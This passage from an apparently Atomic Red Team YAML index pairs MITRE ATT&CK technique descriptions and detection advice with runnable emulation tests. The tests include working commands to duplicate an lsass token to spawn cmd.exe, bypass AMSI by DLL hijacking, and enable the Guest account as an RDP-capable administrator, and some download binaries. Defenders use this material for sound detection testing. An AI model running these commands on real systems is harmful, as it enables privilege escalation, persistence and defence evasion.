        * Some Control Panel items are extensible via Shell extensions registered in <code>HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\Controls Folder\{name}\Shellex\PropertySheetHandlers</code> where {name} is the predefined name of the system item.(Citation: Microsoft Implementing CPL)

        Analyze new Control Panel items as well as those present on disk for malicious content. Both executable and CPL formats are compliant Portable Executable (PE) images and can be examined using traditional tools and methods, pending anti-reverse-engineering techniques.(Citation: TrendMicro CPL Malware Jan 2014)
      x_mitre_defense_bypassed:
      - Application control
      x_mitre_permissions_required:
      - User
      - Administrator
      - SYSTEM
      x_mitre_is_subtechnique: true
      x_mitre_version: '1.1'
      identifier: T1218.002
    atomic_tests:
    - name: Control Panel Items
      auto_generated_guid: 037e9d8a-9e46-4255-8b33-2ae3b545ca6f
      description: |
        This test simulates an adversary leveraging control.exe
        Upon execution calc.exe will be launched
      supported_platforms:
      - windows
      input_arguments:
        cpl_file_path:
          description: path to cpl file
          type: Path
          default: PathToAtomicsFolder\T1218.002\bin\calc.cpl
      dependency_executor_name: powershell
      dependencies:
      - description: 'Cpl file must exist on disk at specified location (#{cpl_file_path})

'
        prereq_command: 'if (Test-Path #{cpl_file_path}) {exit 0} else {exit 1}

'
        get_prereq_command: |
          New-Item -Type Directory (split-path #{cpl_file_path}) -ErrorAction ignore | Out-Null
          Invoke-WebRequest "https://github.com/redcanaryco/atomic-red-team/raw/master/atomics/T1218.002/bin/calc.cpl" -OutFile "#{cpl_file_path}"
      executor:
        command: 'control.exe #{cpl_file_path}

'
        name: command_prompt
  T1578.002:
    technique:
      id: attack-pattern--cf1c2504-433f-4c4e-a1f8-91de45a0318c
      description: |-
        An adversary may create a new instance or virtual machine (VM) within the compute service of a cloud account to evade defenses. Creating a new instance may allow an adversary to bypass firewall rules and permissions that exist on instances currently residing within an account. An adversary may [Create Snapshot](https://attack.mitre.org/techniques/T1578/001) of one or more volumes in an account, create a new instance, mount the snapshots, and then apply a less restrictive security policy to collect [Data from Local System](https://attack.mitre.org/techniques/T1005) or for [Remote Data Staging](https://attack.mitre.org/techniques/T1074/002).(Citation: Mandiant M-Trends 2020)

        Creating a new instance may also allow an adversary to carry out malicious activity within an environment without affecting the execution of current running instances.
      name: Create Cloud Instance
      created_by_ref: identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5
      object_marking_refs:
      - marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168
      external_references:
      - source_name: mitre-attack
        external_id: T1578.002
        url: https://attack.mitre.org/techniques/T1578/002
      - source_name: Mandiant M-Trends 2020
        url: https://content.fireeye.com/m-trends/rpt-m-trends-2020
        description: Mandiant. (2020, February). M-Trends 2020. Retrieved April 24,
          2020.
      - source_name: AWS CloudTrail Search
        url: https://aws.amazon.com/premiumsupport/knowledge-center/cloudtrail-search-api-calls/
        description: Amazon. (n.d.). Search CloudTrail logs for API calls to EC2 Instances.
          Retrieved June 17, 2020.
      - source_name: Azure Activity Logs
        url: https://docs.microsoft.com/en-us/azure/azure-resource-manager/management/view-activity-logs
        description: Microsoft. (n.d.). View Azure activity logs. Retrieved June 17,
          2020.
      - source_name: Cloud Audit Logs
        url: https://cloud.google.com/logging/docs/audit#admin-activity
        description: Google. (n.d.). Audit Logs. Retrieved June 1, 2020.
      type: attack-pattern
      kill_chain_phases:
      - kill_chain_name: mitre-attack
        phase_name: defense-evasion
      modified: '2021-03-08T10:33:02.034Z'
      created: '2020-05-14T14:45:15.978Z'
      x_mitre_platforms:
      - IaaS
      x_mitre_data_sources:
      - 'Instance: Instance Creation'
      x_mitre_permissions_required:
      - User
      x_mitre_is_subtechnique: true
      x_mitre_version: '1.1'
      x_mitre_detection: |-
        The creation of a new instance or VM is a common part of operations within many cloud environments. Events should then not be viewed in isolation, but as part of a chain of behavior that could lead to other activities. For example, the creation of an instance by a new user account or the unexpected creation of one or more snapshots followed by the creation of an instance may indicate suspicious activity.

        In AWS, CloudTrail logs capture the creation of an instance in the <code>RunInstances</code> event, and in Azure the creation of a VM may be captured in Azure activity logs.(Citation: AWS CloudTrail Search)(Citation: Azure Activity Logs) Google's Admin Activity audit logs within their Cloud Audit logs can be used to detect the usage of <code>gcloud compute instances create</code> to create a VM.(Citation: Cloud Audit Logs)
    atomic_tests: []
  T1134.002:
    technique:
      external_references:
      - source_name: mitre-attack
        external_id: T1134.002
        url: https://attack.mitre.org/techniques/T1134/002
      - url: https://technet.microsoft.com/en-us/windows-server-docs/identity/ad-ds/manage/component-updates/command-line-process-auditing
        description: Mathers, B. (2017, March 7). Command line process auditing. Retrieved
          April 21, 2017.
        source_name: Microsoft Command-line Logging
      object_marking_refs:
      - marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168
      created_by_ref: identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5
      name: Create Process with Token
      description: Adversaries may create a new process with a duplicated token to
        escalate privileges and bypass access controls. An adversary can duplicate
        a desired access token with <code>DuplicateToken(Ex)</code> and use it with
        <code>CreateProcessWithTokenW</code> to create a new process running under
        the security context of the impersonated user. This is useful for creating
        a new process under the security context of a different user.
      id: attack-pattern--677569f9-a8b0-459e-ab24-7f18091fa7bf
      type: attack-pattern
      kill_chain_phases:
      - kill_chain_name: mitre-attack
        phase_name: defense-evasion
      - kill_chain_name: mitre-attack
        phase_name: privilege-escalation
      modified: '2020-03-26T21:28:19.476Z'
      created: '2020-02-18T16:48:56.582Z'
      x_mitre_version: '1.0'
      x_mitre_is_subtechnique: true
      x_mitre_defense_bypassed:
      - Windows User Account Control
      - System access controls
      - File system access controls
      x_mitre_detection: |-
        If an adversary is using a standard command-line shell, analysts can detect token manipulation by auditing command-line activity. Specifically, analysts should look for use of the <code>runas</code> command. Detailed command-line logging is not enabled by default in Windows.(Citation: Microsoft Command-line Logging)

        If an adversary is using a payload that calls the Windows token APIs directly, analysts can detect token manipulation only through careful analysis of user network activity, examination of running processes, and correlation with other endpoint and network behavior.

        Analysts can also monitor for use of Windows APIs such as <code>DuplicateToken(Ex)</code> and <code>CreateProcessWithTokenW</code> and correlate activity with other suspicious behavior to reduce false positives that may be due to normal benign use by users and administrators.
      x_mitre_data_sources:
      - 'Process: OS API Execution'
      - 'Command: Command Execution'
      x_mitre_platforms:
      - Windows
      identifier: T1134.002
    atomic_tests:
    - name: Access Token Manipulation
      auto_generated_guid: dbf4f5a9-b8e0-46a3-9841-9ad71247239e
      description: "This Action demonstrates how an access token for a specific program
        can spawn another program under a different owner. \nAdversaries can leverage
        access tokens to run programs under a different user not only to achieve privilege
        escalation but also to evade detection by blending in with normal user activity.
        \nThis Action will query all processes and list the process name and owner.It
        will then make a copy of an existing token to create a new instance of cmd.exe\n"
      supported_platforms:
      - windows
      executor:
        command: |
          Set-ExecutionPolicy -Scope Process Bypass -Force
          $owners = @{}
          gwmi win32_process |% {$owners[$_.handle] = $_.getowner().user}
          Get-Process | Select ProcessName,Id,@{l="Owner";e={$owners[$_.id.tostring()]}}
          $PathToAtomicsFolder\T1134.002\src\GetToken.ps1; [MyProcess]::CreateProcessFromParent((Get-Process lsass).Id,"cmd.exe")
        name: powershell
        elevation_required: true
  T1578.001:
    technique:
      external_references:
      - source_name: mitre-attack
        external_id: T1578.001
        url: https://attack.mitre.org/techniques/T1578/001
      - source_name: Mandiant M-Trends 2020
        url: https://content.fireeye.com/m-trends/rpt-m-trends-2020
        description: Mandiant. (2020, February). M-Trends 2020. Retrieved April 24,
          2020.
      - source_name: AWS Cloud Trail Backup API
        url: https://docs.aws.amazon.com/aws-backup/latest/devguide/logging-using-cloudtrail.html
        description: Amazon. (2020). Logging AWS Backup API Calls with AWS CloudTrail.
          Retrieved April 27, 2020.
      - source_name: Azure - Monitor Logs
        url: https://docs.microsoft.com/en-us/azure/backup/backup-azure-monitoring-use-azuremonitor
        description: Microsoft. (2019, June 4). Monitor at scale by using Azure Monitor.
          Retrieved May 1, 2020.
      - source_name: Cloud Audit Logs
        url: https://cloud.google.com/logging/docs/audit#admin-activity
        description: Google. (n.d.). Audit Logs. Retrieved June 1, 2020.
      - source_name: GCP - Creating and Starting a VM
        url: https://cloud.google.com/compute/docs/instances/create-start-instance#api_2
        description: Google. (2020, April 23). Creating and Starting a VM instance.
          Retrieved May 1, 2020.
      object_marking_refs:
      - marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168
      created_by_ref: identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5
      name: Create Snapshot
      description: |-
        An adversary may create a snapshot or data backup within a cloud account to evade defenses. A snapshot is a point-in-time copy of an existing cloud compute component such as a virtual machine (VM), virtual hard drive, or volume. An adversary may leverage permissions to create a snapshot in order to bypass restrictions that prevent access to existing compute service infrastructure, unlike in [Revert Cloud Instance](https://attack.mitre.org/techniques/T1578/004) where an adversary may revert to a snapshot to evade detection and remove evidence of their presence.

        An adversary may [Create Cloud Instance](https://attack.mitre.org/techniques/T1578/002), mount one or more created snapshots to that instance, and then apply a policy that allows the adversary access to the created instance, such as a firewall policy that allows them inbound and outbound SSH access.(Citation: Mandiant M-Trends 2020)
      id: attack-pattern--ed2e45f9-d338-4eb2-8ce5-3a2e03323bc1
      type: attack-pattern
      kill_chain_phases:
      - kill_chain_name: mitre-attack
        phase_name: defense-evasion
      modified: '2021-03-08T10:33:02.060Z'
      created: '2020-06-09T15:33:13.563Z'
      x_mitre_version: '1.1'
      x_mitre_is_subtechnique: true
      x_mitre_permissions_required:
      - User
      x_mitre_detection: |-
        The creation of a snapshot is a common part of operations within many cloud environments. Events should then not be viewed in isolation, but as part of a chain of behavior that could lead to other activities such as the creation of one or more snapshots and the restoration of these snapshots by a new user account.

        In AWS, CloudTrail logs capture the creation of snapshots and all API calls for AWS Backup as events. Using the information collected by CloudTrail, you can determine the request that was made, the IP address from which the request was made, which user made the request, when it was made, and additional details.(Citation: AWS Cloud Trail Backup API).

        In Azure, the creation of a snapshot may be captured in Azure activity logs. Backup restoration events can also be detected through Azure Monitor Log Data by creating a custom alert for completed restore jobs.(Citation: Azure - Monitor Logs)

        Google's Admin Activity audit logs within their Cloud Audit logs can be used to detect the usage of the <code>gcloud compute instances create</code> command to create a new VM disk from a snapshot.(Citation: Cloud Audit Logs) It is also possible to detect the usage of the GCP API with the <code>"sourceSnapshot":</code> parameter pointed to <code>"global/snapshots/[BOOT_SNAPSHOT_NAME]</code>.(Citation: GCP - Creating and Starting a VM)
      x_mitre_data_sources:
      - 'Snapshot: Snapshot Creation'
      x_mitre_contributors:
      - Praetorian
      x_mitre_platforms:
      - IaaS
    atomic_tests: []
  T1574.001:
    technique:
      id: attack-pattern--2fee9321-3e71-4cf4-af24-d4d40d355b34
      description: |-
        Adversaries may execute their own malicious payloads by hijacking the search order used to load DLLs. Windows systems use a common method to look for required DLLs to load into a program. (Citation: Microsoft Dynamic Link Library Search Order)(Citation: FireEye Hijacking July 2010) Hijacking DLL loads may be for the purpose of establishing persistence as well as elevating privileges and/or evading restrictions on file execution.

        There are many ways an adversary can hijack DLL loads. Adversaries may plant trojan dynamic-link library files (DLLs) in a directory that will be searched before the location of a legitimate library that will be requested by a program, causing Windows to load their malicious library when it is called for by the victim program. Adversaries may also perform DLL preloading, also called binary planting attacks, (Citation: OWASP Binary Planting) by placing a malicious DLL with the same name as an ambiguously specified DLL in a location that Windows searches before the legitimate DLL. Often this location is the current working directory of the program.(Citation: FireEye fxsst June 2011) Remote DLL preloading attacks occur when a program sets its current directory to a remote location such as a Web share before loading a DLL. (Citation: Microsoft Security Advisory 2269637)

        Adversaries may also directly modify the search order via DLL redirection, which after being enabled (in the Registry and creation of a redirection file) may cause a program to load a different DLL.(Citation: Microsoft Dynamic-Link Library Redirection)(Citation: Microsoft Manifests)(Citation: FireEye DLL Search Order Hijacking)

        If a search order-vulnerable program is configured to run at a higher privilege level, then the adversary-controlled DLL that is loaded will also be executed at the higher level. In this case, the technique could be used for privilege escalation from user to administrator or SYSTEM or from administrator to SYSTEM, depending on the program. Programs that fall victim to path hijacking may appear to behave normally because malicious DLLs may be configured to also load the legitimate DLLs they were meant to replace.
      name: DLL Search Order Hijacking
      created_by_ref: identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5
      object_marking_refs:
      - marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168
      external_references:
      - source_name: mitre-attack
        external_id: T1574.001
        url: https://attack.mitre.org/techniques/T1574/001
      - external_id: CAPEC-471
        source_name: capec
        url: https://capec.mitre.org/data/definitions/471.html
      - source_name: Microsoft Dynamic Link Library Search Order
        url: https://docs.microsoft.com/en-us/windows/win32/dlls/dynamic-link-library-search-order?redirectedfrom=MSDN
        description: Microsoft. (2018, May 31). Dynamic-Link Library Search Order.
          Retrieved November 30, 2014.
      - source_name: FireEye Hijacking July 2010
        url: https://www.fireeye.com/blog/threat-research/2010/07/malware-persistence-windows-registry.html
        description: Harbour, N. (2010, July 15). Malware Persistence without the
          Windows Registry. Retrieved November 17, 2020.
      - source_name: OWASP Binary Planting
        description: OWASP. (2013, January 30). Binary planting. Retrieved June 7,
          2016.
        url: https://www.owasp.org/index.php/Binary_planting
      - source_name: FireEye fxsst June 2011
        url: https://www.fireeye.com/blog/threat-research/2011/06/fxsst.html
        description: Harbour, N. (2011, June 3). What the fxsst?. Retrieved November
          17, 2020.
      - source_name: Microsoft Security Advisory 2269637
        url: https://docs.microsoft.com/en-us/security-updates/securityadvisories/2010/2269637
        description: Microsoft. (, May 23). Microsoft Security Advisory 2269637. Retrieved
          March 13, 2020.
      - source_name: Microsoft Dynamic-Link Library Redirection
        url: https://docs.microsoft.com/en-us/windows/win32/dlls/dynamic-link-library-redirection?redirectedfrom=MSDN
        description: Microsoft. (2018, May 31). Dynamic-Link Library Redirection.
          Retrieved March 13, 2020.
      - source_name: Microsoft Manifests
        description: Microsoft. (n.d.). Manifests. Retrieved December 5, 2014.
        url: https://msdn.microsoft.com/en-US/library/aa375365
      - source_name: FireEye DLL Search Order Hijacking
        url: https://www.fireeye.com/blog/threat-research/2010/08/dll-search-order-hijacking-revisited.html
        description: Nick Harbour. (2010, September 1). DLL Search Order Hijacking
          Revisited. Retrieved March 13, 2020.
      type: attack-pattern
      kill_chain_phases:
      - kill_chain_name: mitre-attack
        phase_name: persistence
      - kill_chain_name: mitre-attack
        phase_name: privilege-escalation
      - kill_chain_name: mitre-attack
        phase_name: defense-evasion
      modified: '2021-04-26T18:37:03.748Z'
      created: '2020-03-13T18:11:08.357Z'
      x_mitre_platforms:
      - Windows
      x_mitre_contributors:
      - Travis Smith, Tripwire
      - Stefan Kanthak
      x_mitre_data_sources:
      - 'File: File Creation'
      - 'File: File Modification'
      - 'Module: Module Load'
      x_mitre_detection: Monitor file systems for moving, renaming, replacing, or
        modifying DLLs. Changes in the set of DLLs that are loaded by a process (compared
        with past behavior) that do not correlate with known software, patches, etc.,
        are suspicious. Monitor DLLs loaded into a process and detect DLLs that have
        the same file name but abnormal paths. Modifications to or creation of `.manifest`
        and `.local` redirection files that do not correlate with software updates
        are suspicious.
      x_mitre_is_subtechnique: true
      x_mitre_version: '1.1'
      identifier: T1574.001
    atomic_tests:
    - name: DLL Search Order Hijacking - amsi.dll
      auto_generated_guid: 8549ad4b-b5df-4a2d-a3d7-2aee9e7052a3
      description: |
        Adversaries can take advantage of insecure library loading by PowerShell to load a vulnerable version of amsi.dll in order to bypass AMSI (Anti-Malware Scanning Interface)
        https://enigma0x3.net/2017/07/19/bypassing-amsi-via-com-server-hijacking/

        Upon successful execution, powershell.exe will be copied and renamed to updater.exe and load amsi.dll from a non-standard path.
      supported_platforms:
      - windows
      executor:
        command: |
          copy %windir%\System32\windowspowershell\v1.0\powershell.exe %APPDATA%\updater.exe
          copy %windir%\System32\amsi.dll %APPDATA%\amsi.dll
          %APPDATA%\updater.exe -Command exit
        cleanup_command: |
          del %APPDATA%\updater.exe >nul 2>&1
          del %APPDATA%\amsi.dll >nul 2>&1
        name: command_prompt
        elevation_required: true
  T1574.002:
    technique:
      created: '2020-03-13T19:41:37.908Z'
      modified: '2021-04-26T18:31:34.954Z'
      kill_chain_phases:
      - kill_chain_name: mitre-attack
        phase_name: persistence
      - kill_chain_name: mitre-attack
        phase_name: privilege-escalation
      - kill_chain_name: mitre-attack
        phase_name: defense-evasion
      type: attack-pattern
      external_references:
      - source_name: mitre-attack
        external_id: T1574.002
        url: https://attack.mitre.org/techniques/T1574/002
      - external_id: CAPEC-641
        source_name: capec
        url: https://capec.mitre.org/data/definitions/641.html
      - source_name: FireEye DLL Side-Loading
        url: https://www.fireeye.com/content/dam/fireeye-www/global/en/current-threats/pdfs/rpt-dll-sideloading.pdf
        description: 'Amanda Steward. (2014). FireEye DLL Side-Loading: A Thorn in
          the Side of the Anti-Virus Industry. Retrieved March 13, 2020.'
      object_marking_refs:
      - marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168
      created_by_ref: identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5
      name: DLL Side-Loading
      description: |-
        Adversaries may execute their own malicious payloads by side-loading DLLs. Similar to [DLL Search Order Hijacking](https://attack.mitre.org/techniques/T1574/001), side-loading involves hijacking which DLL a program loads. But rather than just planting the DLL within the search order of a program then waiting for the victim application to be invoked, adversaries may directly side-load their payloads by planting then invoking a legitimate application that executes their payload(s).

        Side-loading takes advantage of the DLL search order used by the loader by positioning both the victim application and malicious payload(s) alongside each other. Adversaries likely use side-loading as a means of masking actions they perform under a legitimate, trusted, and potentially elevated system or software process. Benign executables used to side-load payloads may not be flagged during delivery and/or execution. Adversary payloads may also be encrypted/packed or otherwise obfuscated until loaded into the memory of the trusted process.(Citation: FireEye DLL Side-Loading)
      id: attack-pattern--e64c62cf-9cd7-4a14-94ec-cdaac43ab44b
      x_mitre_defense_bypassed:
      - Anti-virus
      - Application control
      x_mitre_version: '2.0'
      x_mitre_is_subtechnique: true
      x_mitre_detection: Monitor processes for unusual activity (e.g., a process that
        does not use the network begins to do so) as well as the introduction of new
        files/programs. Track DLL metadata, such as a hash, and compare DLLs that
        are loaded at process execution time against previous executions to detect
        differences that do not correlate with patching or updates.
      x_mitre_data_sources:
      - 'File: File Creation'
      - 'File: File Modification'
      - 'Module: Module Load'
      - 'Process: Process Creation'
      x_mitre_platforms:
      - Windows
      identifier: T1574.002
    atomic_tests:
    - name: DLL Side-Loading using the Notepad++ GUP.exe binary
      auto_generated_guid: 65526037-7079-44a9-bda1-2cb624838040
      description: |
        GUP is an open source signed binary used by Notepad++ for software updates, and is vulnerable to DLL Side-Loading, thus enabling the libcurl dll to be loaded.
        Upon execution, calc.exe will be opened.
      supported_platforms:
      - windows
      input_arguments:
        process_name:
          description: Name of the created process
          type: String
          default: calculator.exe
        gup_executable:
          description: GUP is an open source signed binary used by Notepad++ for software
            updates
          type: Path
          default: PathToAtomicsFolder\T1574.002\bin\GUP.exe
      dependency_executor_name: powershell
      dependencies:
      - description: 'Gup.exe binary must exist on disk at specified location (#{gup_executable})

'
        prereq_command: 'if (Test-Path #{gup_executable}) {exit 0} else {exit 1}

'
        get_prereq_command: |
          New-Item -Type Directory (split-path #{gup_executable}) -ErrorAction ignore | Out-Null
          Invoke-WebRequest "https://github.com/redcanaryco/atomic-red-team/blob/master/atomics/T1574.002/bin/GUP.exe?raw=true" -OutFile "#{gup_executable}"
      executor:
        command: "#{gup_executable}\n"
        cleanup_command: 'taskkill /F /IM #{process_name} >nul 2>&1

'
        name: command_prompt
  T1078.001:
    technique:
      external_references:
      - source_name: mitre-attack
        external_id: T1078.001
        url: https://attack.mitre.org/techniques/T1078/001
      - external_id: CAPEC-70
        source_name: capec
        url: https://capec.mitre.org/data/definitions/70.html
      - source_name: Microsoft Local Accounts Feb 2019
        url: https://docs.microsoft.com/en-us/windows/security/identity-protection/access-control/local-accounts
        description: Microsoft. (2018, December 9). Local Accounts. Retrieved February
          11, 2019.
      - source_name: AWS Root User
        url: https://docs.aws.amazon.com/IAM/latest/UserGuide/id_root-user.html
        description: Amazon. (n.d.). AWS Account Root User. Retrieved April 5, 2021.
      - source_name: Threat Matrix for Kubernetes
        url: https://www.microsoft.com/security/blog/2020/04/02/attack-matrix-kubernetes/
        description: Weizman, Y. (2020, April 2). Threat Matrix for Kubernetes. Retrieved
          March 30, 2021.
      - source_name: Metasploit SSH Module
        url: https://github.com/rapid7/metasploit-framework/tree/master/modules/exploits/linux/ssh
        description: Metasploit. (n.d.). Retrieved April 12, 2019.
      object_marking_refs:
      - marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168
      created_by_ref: identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5
      name: Default Accounts
      description: |-
        Adversaries may obtain and abuse credentials of a default account as a means of gaining Initial Access, Persistence, Privilege Escalation, or Defense Evasion. Default accounts are those that are built-into an OS, such as the Guest or Administrator accounts on Windows systems. Default accounts also include default factory/provider set accounts on other types of systems, software, or devices, including the root user account in AWS and the default service account in Kubernetes.(Citation: Microsoft Local Accounts Feb 2019)(Citation: AWS Root User)(Citation: Threat Matrix for Kubernetes)

        Default accounts are not limited to client machines, rather also include accounts that are preset for equipment such as network devices and computer applications whether they are internal, open source, or commercial. Appliances that come preset with a username and password combination pose a serious threat to organizations that do not change it post installation, as they are easy targets for an adversary. Similarly, adversaries may also utilize publicly disclosed or stolen [Private Keys](https://attack.mitre.org/techniques/T1552/004) or credential materials to legitimately connect to remote environments via [Remote Services](https://attack.mitre.org/techniques/T1021).(Citation: Metasploit SSH Module)
      id: attack-pattern--6151cbea-819b-455a-9fa6-99a1cc58797d
      type: attack-pattern
      kill_chain_phases:
      - kill_chain_name: mitre-attack
        phase_name: defense-evasion
      - kill_chain_name: mitre-attack
        phase_name: persistence
      - kill_chain_name: mitre-attack
        phase_name: privilege-escalation
      - kill_chain_name: mitre-attack
        phase_name: initial-access
      modified: '2021-04-05T20:14:26.846Z'
      created: '2020-03-13T20:15:31.974Z'
      x_mitre_version: '1.2'
      x_mitre_is_subtechnique: true
      x_mitre_permissions_required:
      - Administrator
      - User
      x_mitre_detection: Monitor whether default accounts have been activated or logged
        into. These audits should also include checks on any appliances and applications
        for default credentials or SSH keys, and if any are discovered, they should
        be updated immediately.
      x_mitre_data_sources:
      - 'User Account: User Account Authentication'
      - 'Logon Session: Logon Session Creation'
      x_mitre_platforms:
      - Windows
      - Azure AD
      - Office 365
      - SaaS
      - IaaS
      - Linux
      - macOS
      - Google Workspace
      - Containers
      identifier: T1078.001
    atomic_tests:
    - name: Enable Guest account with RDP capability and admin privileges
      auto_generated_guid: 99747561-ed8d-47f2-9c91-1e5fde1ed6e0
      description: |
        After execution the Default Guest account will be enabled (Active) and added to Administrators and Remote Desktop Users Group,
        and desktop will allow multiple RDP connections.
      supported_platforms:
      - windows
      input_arguments:
        guest_user:
          description: Specify the guest account
          type: String
          default: guest
        guest_password:
          description: Specify the guest password
          type: String
          default: Password123!
        local_admin_group:
          description: Specify the admin localgroup name
          type: String
          default: Administrators
        remote_desktop_users_group_name:
          description: Specify the remote desktop users group name
          type: String
          default: Remote Desktop Users
        remove_rdp_access_during_cleanup:
          description: Set to 1 if you want the cleanup to remove RDP access to machine
          type: Integer
          default: 0
      executor:
        command: |-
          net user #{guest_user} /active:yes
          net user #{guest_user} #{guest_password}
          net localgroup #{local_admin_group} #{guest_user} /add
          net localgroup "#{remote_desktop_users_group_name}" #{guest_user} /add
          reg add "hklm\system\CurrentControlSet\Control\Terminal Server" /v fDenyTSConnections /t REG_DWORD /d 0 /f
          reg add "hklm\system\CurrentControlSet\Control\Terminal Server" /v "AllowTSConnections" /t REG_DWORD /d 0x1 /f
        cleanup_command: |-
          net user #{guest_user} /active:no >nul 2>&1
          net localgroup #{local_admin_group} #{guest_user} /delete >nul 2>&1
          net localgroup "#{remote_desktop_users_group_name}" #{guest_user} /delete >nul 2>&1
          if #{remove_rdp_access_during_cleanup} NEQ 1 (echo Note: set remove_rdp_access_during_cleanup input argument to disable RDP access during cleanup)
          if #{remove_rdp_access_during_cleanup} EQU 1 (reg delete "hklm\system\CurrentControlSet\Control\Terminal Server" /v fDenyTSConnections /f >nul 2>&1)
          if #{remove_rdp_access_during_cleanup} EQU 1 (reg delete "hklm\system\CurrentControlSet\Control\Terminal Server" /v "AllowTSConnections" /f >nul 2>&1)
        name: command_prompt
        elevation_required: true
    - name: Activate Guest Account
      auto_generated_guid: aa6cb8c4-b582-4f8e-b677-37733914abda
      description: 'The Adversaries can activate the default Guest user. The guest
        account is inactivated by default

'
      supported_platforms:
      - windows
      input_arguments:
        guest_user:
          description: Specify the guest account
          type: String
          default: guest
      executor:
        command: 'net user #{guest_user} /active:yes

'
        cleanup_command: 'net user #{guest_user} /active:no

'
        name: command_prompt
        elevation_required: true
  T1578.003:
    technique:
      external_references:
      - source_name: mitre-attack
        external_id: T1578.003
        url: https://attack.mitre.org/techniques/T1578/003
      - source_name: Mandiant M-Trends 2020
        url: https://content.fireeye.com/m-trends/rpt-m-trends-2020
        description: Mandiant. (2020, February). M-Trends 2020. Retrieved April 24,
          2020.
      - source_name: AWS CloudTrail Search
        url: https://aws.amazon.com/premiumsupport/knowledge-center/cloudtrail-search-api-calls/
        description: Amazon. (n.d.). Search CloudTrail logs for API calls to EC2 Instances.
          Retrieved June 17, 2020.
      - source_name: Azure Activity Logs
        url: https://docs.microsoft.com/en-us/azure/azure-resource-manager/management/view-activity-logs
        description: Microsoft. (n.d.). View Azure activity logs. Retrieved June 17,
          2020.
      - source_name: Cloud Audit Logs
        url: https://cloud.google.com/logging/docs/audit#admin-activity
        description: Google. (n.d.). Audit Logs. Retrieved June 1, 2020.
      object_marking_refs:
      - marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168
      created_by_ref: identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5
      name: Delete Cloud Instance
      description: |-
        An adversary may delete a cloud instance after they have performed malicious activities in an attempt to evade detection and remove evidence of their presence.  Deleting an instance or virtual machine can remove valuable forensic artifacts and other evidence of suspicious behavior if the instance is not recoverable.

        An adversary may also [Create Cloud Instance](https://attack.mitre.org/techniques/T1578/002) and later terminate the instance after achieving their objectives.(Citation: Mandiant M-Trends 2020)
      id: attack-pattern--70857657-bd0b-4695-ad3e-b13f92cac1b4
      type: attack-pattern
      kill_chain_phases:
      - kill_chain_name: mitre-attack
        phase_name: defense-evasion
      modified: '2021-03-08T10:33:02.083Z'
      created: '2020-06-16T17:23:06.508Z'
      x_mitre_detection: |-
        The deletion of a new instance or virtual machine is a common part of operations within many cloud environments. Events should then not be viewed in isolation, but as part of a chain of behavior that could lead to other activities. For example, detecting a sequence of events such as the creation of an instance, mounting of a snapshot to that instance, and deletion of that instance by a new user account may indicate suspicious activity.

        In AWS, CloudTrail logs capture the deletion of an instance in the <code>TerminateInstances</code> event, and in Azure the deletion of a VM may be captured in Azure activity logs.(Citation: AWS CloudTrail Search)(Citation: Azure Activity Logs) Google's Admin Activity audit logs within their Cloud Audit logs can be used to detect the usage of <code>gcloud compute instances delete</code> to delete a VM.(Citation: Cloud Audit Logs)
      x_mitre_data_sources:
      - 'Instance: Instance Deletion'
      x_mitre_version: '1.1'
      x_mitre_is_subtechnique: true
      x_mitre_permissions_required:
      - User
      x_mitre_platforms:
      - IaaS
    atomic_tests: []
  T1140:
    technique:
      object_marking_refs:
      - marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168
      external_references:
      - source_name: mitre-attack
        external_id: T1140
        url: https://attack.mitre.org/techniques/T1140
      - url: https://blog.malwarebytes.com/cybercrime/social-engineering-cybercrime/2017/03/new-targeted-attack-saudi-arabia-government/
        description: Malwarebytes Labs. (2017, March 27). New targeted attack against
          Saudi Arabia Government. Retrieved July 3, 2017.
        source_name: Malwarebytes Targeted Attack against Saudi Arabia
      - url: https://www.carbonblack.com/2016/09/23/security-advisory-variants-well-known-adware-families-discovered-include-sophisticated-obfuscation-techniques-previously-associated-nation-state-attacks/
        description: Tedesco, B. (2016, September 23). Security Alert Summary. Retrieved
          February 12, 2018.
        source_name: Carbon Black Obfuscation Sept 2016
      - url: https://www.volexity.com/blog/2016/11/09/powerduke-post-election-spear-phishing-campaigns-targeting-think-tanks-and-ngos/
        description: 'Adair, S.. (2016, November 9). PowerDuke: Widespread Post-Election
          Spear Phishing Campaigns Targeting Think Tanks and NGOs. Retrieved January
          11, 2017.'
        source_name: Volexity PowerDuke November 2016
      description: |-
        Adversaries may use [Obfuscated Files or Information](https://attack.mitre.org/techniques/T1027) to hide artifacts of an intrusion from analysis. They may require separate mechanisms to decode or deobfuscate that information depending on how they intend to use it. Methods for doing that include built-in functionality of malware or by using utilities present on the system.

        One such example is use of [certutil](https://attack.mitre.org/software/S0160) to decode a remote access tool portable executable file that has been hidden inside a certificate file. (Citation: Malwarebytes Targeted Attack against Saudi Arabia) Another example is using the Windows <code>copy /b</code> command to reassemble binary fragments into a malicious payload. (Citation: Carbon Black Obfuscation Sept 2016)

        Sometimes a user's action may be required to open it for deobfuscation or decryption as part of [User Execution](https://attack.mitre.org/techniques/T1204). The user may also be required to input a password to open a password protected compressed/encrypted file that was provided by the adversary. (Citation: Volexity PowerDuke November 2016)
      name: Deobfuscate/Decode Files or Information
      created_by_ref: identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5
      id: attack-pattern--3ccef7ae-cb5e-48f6-8302-897105fbf55c
      type: attack-pattern
      kill_chain_phases:
      - kill_chain_name: mitre-attack
        phase_name: defense-evasion
      modified: '2020-07-09T14:42:23.122Z'
      created: '2017-12-14T16:46:06.044Z'
      x_mitre_is_subtechnique: false
      x_mitre_version: '1.1'
      x_mitre_contributors:
      - Matthew Demaske, Adaptforward
      - Red Canary
      x_mitre_data_sources:
      - 'Process: Process Creation'
      - 'File: File Modification'
      - 'Script: Script Execution'
      x_mitre_defense_bypassed:
